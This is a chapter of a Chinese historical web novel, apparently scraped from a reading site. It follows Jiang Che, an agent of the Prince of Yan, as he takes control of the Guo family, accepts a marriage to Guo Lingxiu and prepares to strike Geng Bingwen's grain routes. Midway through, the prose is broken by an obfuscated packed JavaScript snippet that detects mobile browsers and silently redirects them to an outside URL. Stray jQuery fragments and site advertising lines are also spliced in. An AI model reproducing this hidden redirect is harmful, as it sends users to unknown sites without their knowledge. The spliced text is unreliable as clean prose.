郭淮的大脑一片空白,江澈的条件,说是条件,更像是鲸吞。
接管所有生意,调遣所有人力。
这与直接将郭家拱手相让,有何区别?
他几乎要下意识地拒绝,可喉咙里像是堵了一团烧红的炭,一个字也吐不出来。
因为江澈说得对。
他没得选。
拒绝,就是死路一条,半个月后郭家就会被愤怒的债主撕成碎片。
答应……
郭家还是郭家,只是换了个看不见的主人。
他郭淮,从家主变成了大掌柜。
可转念一想,自己之前为了攀附王德,将女儿送去冲喜,甚至不惜对江澈下黑手。
如今江澈只是拿走家业,却留他郭家一条活路,似乎并不过分。
这是一种诡异的自我安慰,一种斯德哥尔摩式的自我说服。
有了这层心理铺垫,郭淮那张惨白的脸反而泛起红润。
“我答应!不过,我也有一个条件。”
江澈眉梢微挑,示意他说下去。
“我要你,娶我女儿,灵秀。”
郭淮死死盯着江澈,这是他能想到的。
唯一能将郭家和江澈这条大船彻底绑死的方法。
家业可以给你,人也可以给你。
但你成了我郭家的女婿,总不能眼睁睁看着郭家灭亡吧?
这几乎是一种赌徒式的孤注一掷。
话音刚落,门外传来一声惊呼。
郭淮心里咯噔一下,暗道不好。
只见门帘被一只素白的小手掀开。
郭灵秀俏生生站在那里,一张芙蓉面涨得通红,几乎要滴出血来。
她显然是听到了父亲那番石破天惊的话。
“胡闹!”
郭淮又急又气,生怕女儿再说出什么忤逆的话,彻底搅黄了这桩买卖。
出乎他意料的是,郭灵秀并没有像往常一样与他争辩。
她只是站在那里,一双水汪汪的杏眼,越过惊怒的父亲。
越过噤若寒蝉的张莽三人,直直地落在了江澈身上。
那眼神里,有羞,有怯,却没有半分不愿。
反而带着一种少女怀春的期盼与忐忑。
江澈也在看她,他当然不会拒绝。
郭灵秀是个美人胚子,这一点毋庸置疑。
更重要的是,若非是她,自己想要这么快、这么顺利地在真定城撕开一道口子,绝无可能。
将她纳入羽翼之下
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
,既是对她的一种保护,也是对自己计划的一重保险。
于公于私,百利而无一害。
“好。
江澈开口,只说了一个字。
干脆利落,没有丝毫拖泥带水。
这个字仿佛带着魔力,让整个压抑的厅堂空气都为之一松。
郭灵秀的脸更红了,她飞快地瞥了江澈一眼,又迅速低下头。
两只手紧张地绞着衣角,心脏“怦怦直跳,像是要从嗓子眼里蹦出来。
郭淮则像是被巨大的狂喜砸中,整个人都有些发懵。
“就这么成了?
他看着自家女儿那含情脉脉的模样,再看看江澈那平静淡然的表情,心里最后一点不甘和**也烟消云散了。
“王德算什么东西?
耿炳文又算什么?一个随时会抛弃盟友的枭雄!
眼前的江澈,年纪轻轻,却有如此手段和魄力,背后更是站着深不可测的燕王势力。
这哪里是卖女儿,卖家业?
这分明是郭家百尺竿头更进一步的天赐良机!
“好!好!好!
郭淮一连说了三个好字,激动得搓着手,当即就要拍板。
“那我们这就挑个黄道吉日,把婚事给定下来!宜早不宜迟!
“这些事,郭叔看着办就好。
江澈最后看了郭灵秀一眼,开口说道:“灵秀,我说过的话,做到了。
说完,他也不给对方说话的时间,随即转身,大步流星地走出了郭家大宅。
留下郭淮和一群面面相觑的下属,以及一个心乱如麻的少女。
宅邸外,周悍靠在一棵槐树下,嘴里叼着根草茎。
见江澈出来,立刻站直了身子。
“东家,谈妥了?
“嗯。
“那你真要娶那郭家小姐?
周悍挠了挠头,脸上满是好奇,他跟在江澈身边这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275599|182399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么久。
还是头一次见自家头儿跟女人扯上关系,而且还是在敌军后方这么个节骨眼上。
江澈闻言,一直紧绷的脸上难得地出现了一丝裂痕。
他自己都觉得这事儿有点离谱。
他们是什么人?
是燕王麾下的暗卫,是朝廷眼中的乱臣贼子,是随时可能掉脑袋的刀口舔血之辈。
可他这个暗卫司主,居然要在敌人的心腹重地,大张旗鼓地娶妻。
这事传回北平,怕不是要被那帮同僚笑掉大牙。
“
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
没办法。”
江澈呼出一口气,恢复了往日的沉静:“郭淮是只老狐狸,不跟他绑成亲家,他心里总会有根刺,只有让他女儿做了我的妻子,他才会死心塌地为我们办事。”
“王爷那边……”
“王爷只会赞同。”
江澈斩钉截铁:“为了拿下真定,别说娶一个郭家女,就是让我入赘,王爷都不会皱一下眉头。”
周悍似懂非懂地点了点头,他脑子里想不了那么多弯弯绕绕。
他咧嘴一笑,露出两排大白牙:“那敢情好!到时候俺可得好好敬头儿和嫂夫人两杯!”
江澈无奈地摇了摇头,这夯货。
几天后。
一只信鸽落在了江澈的窗台。
他取下信筒,展开那张薄如蝉翼的信纸,上面的字迹刚劲有力。
燕王朱棣的亲笔。
信中内容很简单,大军不日将抵达真定城下,令他做好一切接应准备。
大战,将至。
江澈眼中瞬间燃起两簇火苗,之前那种荒诞的儿女情长被一扫而空,取而代之的是冰冷的杀意和即将收网的兴奋。
他立刻召集了所有潜伏在真定城中的暗卫。
“这几天,耿炳文的粮草补给线,都摸清了?”
昏暗的密室里,江澈的声音低沉而有力。
一名暗卫上前一步,呈上一份绘制精密的地图。
“头儿,全在这里。耿炳文的粮草主要有三条路,一条来自井陉,两条来自藁城,都由他的心腹将领押运。我们的人已经盯**沿途所有可以设伏的隘口和驿站。”